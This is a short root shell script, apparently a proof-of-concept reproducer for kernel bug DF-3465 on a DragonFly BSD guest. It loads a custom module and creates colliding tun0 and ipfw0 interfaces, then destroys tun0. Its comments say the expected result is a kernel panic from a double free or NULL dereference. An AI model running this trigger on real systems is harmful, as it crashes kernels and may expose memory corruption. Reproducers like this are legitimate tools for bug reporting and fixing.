#!/bin/sh
# DF-3465 trigger — run as root on the DFly guest with the wireshim.ko built.
# Expected: kernel panic (recursive/double if_detach + double if_free of
# tun0's ifnet, or NULL-ifa deref), or at minimum: tun0 destroyed twice,
# ipfw0 orphaned (its log_if_table slot NULLed by the type-confused handler).
set -x
# make sure an empty ipfw3 ruleset does not cut IPv4 (default rule ACCEPT)
sysctl net.filters_default_to_accept=1
kldload if_tun
kldload ipfw3                 # pulls ipfw3_basic via MODULE_DEPEND
kldload /tmp/poc/wireshim.ko  # the missing one-line wiring
ifconfig ipfw0 create
ifconfig tun0 create          # dunit 0 -> collides with ipfw0's slot 0
sleep 1
ifconfig -l
echo '=== destroying tun0: if_detach(tun0) fires ifnet_detach_event first ==='
ifconfig tun0 destroy
echo '=== SURVIVED destroy ==='
ifconfig -l
echo '=== ipfw0 must now be orphaned (slot NULLed, clone leaked) ==='
ifconfig ipfw0 destroy || echo 'ipfw0 destroy FAILED as predicted (orphaned)'
dmesg | tail -30